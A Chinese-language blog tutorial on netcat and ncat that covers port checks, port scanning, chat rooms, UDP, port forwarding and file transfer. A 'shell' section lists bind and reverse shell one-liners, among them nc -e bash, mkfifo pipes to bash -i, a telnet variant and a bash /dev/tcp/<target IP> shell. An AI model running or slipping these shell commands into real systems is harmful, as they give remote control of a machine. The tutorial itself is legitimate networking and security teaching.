NC 的简单应用
2018-01-10
NC ,不仅代表是 netcat ,还有其加强版 ncat 。
NetCat 是 GNU 开源的网络请求工具, Ncat 是面向21世纪的 netcat,是 Nmap 工具集的一部分,nc 可以用来 读/写 TCP/UDP 网络连接。
nc 不仅可以请求,还能监听 (-l) 网络连接, 不仅支持 TCP 协议,还支持 UDP 协议(-u),不仅可以在 ipv4 (-4) 网络下进行,还支持 ipv6 (-6)。
brew install nmap
或者
yum install nc
即可安装 ncat
网络请求
nc 一开始也最基础的功能,发起网络请求,可以用来测试端口是否开启。
TCP nc -zv addr port
UDP nc -zvu addr port
连接 udp 端口有些不准
端口扫描
nc 127.0.0.1 10-100
或者 nc -z 127.0.0.1 10-100
端口扫描,侦查功能。
网络聊天室
nc 主要用来请求并保持一个网络连接,也可以用来监听一个端口。
比如打开一个 TCP 连接,发送 HTTP 协议请求。 nc IP_address port_numbe
连接模式。
> nc 127.0.0.1 5002
HEAD / HTTP/1.1
HTTP/1.1 200 OK
Etag: 17f803-3de2-5a560fb2
Content-Type: text/html; charset=utf-8
Content-Length: 15842
Last-Modified: Wed, 10 Jan 2018 13:05:54 GMT
Cache-Control: private, max-age=0, proxy-revalidate, no-store, no-cache, must-revalidate
Server: WEBrick/1.3.1 (Ruby/2.4.1/2017-03-22)
Date: Wed, 10 Jan 2018 13:07:21 GMT
Connection: Keep-Alive
GET / HTTP/1.1
HTTP/1.1 200 OK
Etag: 17f803-3de2-5a560fb2
Content-Type: text/html; charset=utf-8
Content-Length: 15842
Last-Modified: Wed, 10 Jan 2018 13:05:54 GMT
Cache-Control: private, max-age=0, proxy-revalidate, no-store, no-cache, must-revalidate
Server: WEBrick/1.3.1 (Ruby/2.4.1/2017-03-22)
Date: Wed, 10 Jan 2018 13:07:30 GMT
Connection: Keep-Alive
<!DOCTYPE html>
<html>
<head>
...
使用 nc -l IP_address port_numbe
监听模式。
一个终端使用 nc -l 127.0.0.1 8090
开启监听,一个终端使用 nc 127.0.0.1 8090
保持连接,即可进行聊天室功能。
但是这样只能点对点双方交流,不能进行多方交流,且建立连接之后任意一方断开连接,则双方都会终止。在 ncat 中新增了订阅者模式,可以由一个 server 提供服务,多个 client 之间相互交流,这样就够搭建一个完整的即时通讯聊天室。
启动 server
ncat -l 8888 --broker
然后使用多个 client 连接即可。
UDP 协议支持
开启 UDP 端口监听 ncat -l -u 8999
可以使用 netstat
查看端口是否开放
netstat -tunlp|grep 8999
或者使用 netstat 进行通信,建立 UDP 的聊天室。
nc -u 127.0.0.1 8999
反向代理
除了 nginx 可以做反向代理,nginx 也可以实现一个简单的反向代理服务。
其实就是端口转发
ncat -l 8089| ncat 127.0.0.1 5002
这样只能单向代理,即发往 8089 的流量会被代理至 5002 端口上,但是 5002 端口返回的数据,不能通过 8089 再继续返回给我们。
mkfifo /tmp/fifo
cat /tmp/fifo | nc 127.0.0.1 5002 | nc -l 9000 > /tmp/fifo
双向代理,亲测 HTTP, MySQL 转发可用。
或者这样
ncat -l 8068 -c 'ncat 127.0.0.1 5002
shell
nc 的一个经典应用,分为正向 shell 和反向 shell,分别表示客户端控制服务器,和服务器控制客户端。
正向 shell
服务器上 (需要有公网地址)
nc -l -p 5555 -t -e /usr/bin/bash
客户端
nc [host] 5555
即可在客户端操纵服务器。
也可以操作 Windows nc -l -p 5555 -t -e cmd.exe
正向 shell 也可以这样
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo
反向 shell
在客户端机器上 (需要有公网地址)
nc -lp 5555
服务器上
nc -t -e /usr/bin/bash [ip] 5555
即可在客户端操纵服务器。
反向 shell 也可以这样
mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc [ip] 8001 > /tmp/fifo
用 Telnet 也可以 rm bd;mkfifo bd;cat bd|/bin/sh -i 2>&1|telnet <target IP> <port> >bd
甚至是 bash bash -c "bash -i &>/dev/tcp/<target IP>/<port> 0>&1"
正向 shell 与反向 shell 的区别就在与被操纵者有没有公网地址。
传输文件
接收端
ncat -lp 3333 > 1.mp4
发送端
ncat -nv --send-only [ip] 3333 < 1.mp4
或者先起发送端
ncat --send-only -lp 3333 <a.mp4
再起接收端
nc -nv [ip] 3333 >a.mp4
保持连接
在 nc shell 中,当客户端连接断掉之后就会自动终止,可以通过加参数 -k
来保持连接。
正向 shell
nc -l -p 5555 -t -e /usr/bin/bash -k
本文固定链接:https://windard.com/opinion/2018/01/10/NC-Manual
原创文章,转载请注明出处:NC 的简单应用 By Windard